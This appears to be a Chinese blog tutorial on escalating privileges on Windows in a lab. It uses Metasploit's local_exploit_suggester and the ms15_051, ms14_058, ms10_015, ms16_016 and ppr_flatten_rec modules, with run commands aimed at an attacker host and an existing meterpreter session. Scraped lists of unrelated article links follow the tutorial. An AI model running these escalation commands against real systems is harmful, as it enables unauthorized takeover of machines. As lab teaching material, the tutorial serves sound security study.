windows内核提权漏洞

环境:

Kali Linux(攻击机) 192.168.190.141

Windows2003SP2(靶机) 192.168.190.147

0x01寻找可利用的exp

实战中我们在拿到一个反弹shell后(meterpreter)下一步会进行提权操作,而metaspolit的内置模块Local Exploit Suggester。这个模块可以帮助我们识别系统存在哪些漏洞可以被利用,并且为我们提供最合适的exp,通过这个exp我们可以进一步提权。

如下图,有一个普通用户权限的会话

在拿到meterpreter会话的前提下,我们可以利用这个模块进行收集

可以看到我这里有和目标机的一个session会话,id为4,我们使用local_exploit_suggester模块


use post/multi/recon/local_exploit_suggester

set LHOST 192.168.190.141

set SESSION 

Exploit


 

如下图所示,它自动的为我们匹配出了一些可能的用于易受攻击目标提权的漏洞利用的exp模块。

0x02 利用exp提权

根据metaspolit的内置模块Local Exploit Suggester模块列出的可利用模块,我们来进行提权,提权成功后会返回新的、提升权限成功后的session会话。

选取了几个常见的可利用的模块来进行提权演示。

 

Windows ClientCopyImage Win32k Exploit(ms15_051)
Windows内核模式驱动程序中的漏洞让攻击者可以进行提权。
这个模块利用了win32k.sys内核模式驱动程序中不正确的对象处理。

 

使用模块 查看设置的参数

设置参数 提权

use exploit/windows/local/ms15_051_client_copy_image

set lhost 192.168.190.141

set session 

exploit

Windows TrackPopupMenu Win32k NULL Pointer Dereference(ms14_058)
该模块利用了win32k.sys中的NULL Pointer Dereference,这个漏洞可以通过使用TrackPopupMenu来触发。在特定情况下,可以在xxxSendMessage Timeout上滥用NULL Pointer Dereference来获取任意代码执行。
这个模块已经在Windows XP SP3,Windows Server 2003 SP2,Windows7 SP1,Windows Server2008 32位和Windows Server2008R2 SP164位上测试过。

use exploit/windows/local/ms14_058_track_popup_menu

set lhost 192.168.190.141

set session 

exploit
 

通过KiTrap0D进行Windows系统提权(ms10_015)
这个模块会通过Kitrap0D这个exp来生成一个SYSTEM权限的新会话,如果当前会话已经是SYSTEM权限,那么这个脚本将不起作用。这个脚本依赖于kitrap0d.x86.dll这个文件,而且不支持64位的Windows操作系统。
该模块已经在存在漏洞的Windows Server 2003,Windows Server 2008,Windows7和XP上测试过,只限32位操作系统。

use exploit/windows/local/ms10_015_kitrap0d

set lhost 192.168.190.141

set session 

exploit

mrxdav.sys WebDav本地提权MS16-016
这个exp利用的是mrxdav.sys中的漏洞,漏洞编号是MS16-016。该模块会在目标主机上生成一个进程,并通过在特权进程的环境下执行指定的payload来提权。
该模块在存在漏洞的Windows7 SP1 x86架构上测试过可行。

use exploit/windows/local/ms16_016_webdav

set lhost 192.168.190.141

set session 

exploit

EPATHOBJ::pprFlattenRec本地提权
这个漏洞是由于EPATHOBJ::pprFlattenRec使用了未初始化的数据而产生的,该漏洞可以对内存产生破坏。
而我们的这个脚本就是利用这个漏洞来提权的。

这个模块已经在Windows XP SP3,Windows2003SP1和Windows7SP1上成功执行。

use exploit/windows/local/ppr_flatten_rec

set lhost 192.168.190.141

set session 

exploit
 

因为实验是sp2就没有成功

msf利用- windows内核提权漏洞的更多相关文章

  1. 9.CVE-2016-5195(脏牛)内核提权漏洞分析

    漏洞描述: 漏洞编号:CVE-2016-5195 漏洞名称:脏牛(Dirty COW) 漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权 影响范围:Linux内核>=2 ...

  2. Linux本地内核提权漏洞复现(CVE-2019-13272)

    Linux本地内核提权漏洞复现(CVE-2019-13272) 一.漏洞描述 当调用PTRACE_TRACEME时,ptrace_link函数将获得对父进程凭据的RCU引用,然后将该指针指向get_c ...

  3. CVE-2019-13272:Linux本地内核提权漏洞复现

    0x00 简介 2019年07月20日,Linux正式修复了一个本地内核提权漏洞.通过此漏洞,攻击者可将普通权限用户提升为Root权限. 0x01 漏洞概述 当调用PTRACE_TRACEME时,pt ...

  4. Windows原理深入学习系列-Windows内核提权

    这是[信安成长计划]的第 22 篇文章 0x00 目录 0x01 介绍 0x02 替换 Token 0x03 编辑 ACL 0x04 修改 Privileges 0x05 参考文章 继续纠正网上文章中 ...

  5. 新Windows本地提权漏洞学习(CVE-2019-0841)

    1.这是一个啥漏洞? 睁眼一看,妈呀本地提权,快加入本地提权漏洞利用包里,速度加入.github连接我就不发了.担心被认为是传播黑客工具,咱们在这里单纯学习一下漏洞的原理和部分源代码. 2.文件读写权 ...

  6. Windows 10 提权漏洞复现及武器化利用

    项目地址:https://github.com/SandboxEscaper/randomrepo 相关工具的下载地址: Process Explorer:https://docs.microsoft ...

  7. Linux内核提权漏洞(CVE-2019-13272)

    漏洞描述 kernel / ptrace.c中的ptrace_link错误地处理了想要创建ptrace关系的进程的凭据记录,这允许本地用户通过利用父子的某些方案来获取root访问权限 进程关系,父进程 ...

  8. windows内核提权

    Windows by default are vulnerable to several vulnerabilities that could allow an attacker to execute ...

  9. 2018-2019-2 20165215《网络对抗技术》Exp10 Final Windows本地内核提权+Exploit-Exercises Nebula学习与实践

    目录 PART ONE :Windows本地内核提权 漏洞概述 漏洞原理 漏洞复现 windbg调试本地内核 查看SSDT表和SSDTShadow表 查看窗口站结构体信息 利用Poc验证漏洞 漏洞利用 ...

随机推荐

  1. 警告:stream not available

    1.修改mybatis.org//DTD Config 3.0//EN更改为mybatis.org//DTD//EN 2.将url换成http://mybatis.org/dtd/mybatis-3- ...

  2. Webdriver元素定位的方法

    webdriver提供了8种元素定位方法: 1.id 2.name 3.tag name 4.class name 5.link text 6.partial link text 7.xpath 8. ...

  3. IBM DB2 SQL error code list

    SQL return codes that are preceded by a minus sign (-) indicate that the SQL statement execution was ...

  4. Linux 笔记 - 第九章 Linux 中软件的安装

    博客地址:http://www.moonxy.com 一.前言 在 Linux 系统中,应用程序的软件包主要分为两种:1)第一种是二进制的可执行软件包,也就是解开包后就可以直接运行.在 Windows ...

  5. Java中常用IO流之文件流的基本使用姿势

    所谓的 IO 即 Input(输入)/Output(输出) ,当软件与外部资源(例如:网络,数据库,磁盘文件)交互的时候,就会用到 IO 操作.而在IO操作中,最常用的一种方式就是流,也被称为IO流. ...

  6. Java中对象创建时的内存分配

    一.前言知识铺垫   1.逃逸对象:在一个方法内创建的对象没有被外界引用则称该对象为未逃逸的对象. 2.JDK1.6以后的HotSpot虚拟机支持运行时的对象逃逸分析. 3.JVM中的参数配置: 1) ...

  7. 使用 Eslint & standard 规范前端代码

    前言 JavaScript的动态语言类型,给它带来了独特的魅力,产生了风格多样的开发范式,同时也带来了一些问题,从运行时常见的 undefined .null 报错,到代码随意的加减分号.换行.空格, ...

  8. JAVA设计模式-动态代理(Proxy)示例及说明

    在Mybatis源码解析,一步一步从浅入深(五):mapper节点的解析文章的最后部分,我们提到了动态代理的概念,下面我们就简单了解一下动态代理. 一,概念 代理设计模式的目的就是在不直接操作对象的前 ...

  9. 从壹开始学习NetCore 45 ║ 终于解决了事务问题

    一.项目说明 哈喽,又来写文章了,原来放假可以这么爽,可以学习和分享,

  10. SUSE CaaS Platform 4 - 使用 Ceph RBD 作为持久存储(动态)

    图1 架构图 图2 各存储插件对动态供给方式的支持状况 1.所有节点安装 # yum install ceph-common 复制 ceph.conf 到 worker 节点上 # scp admin ...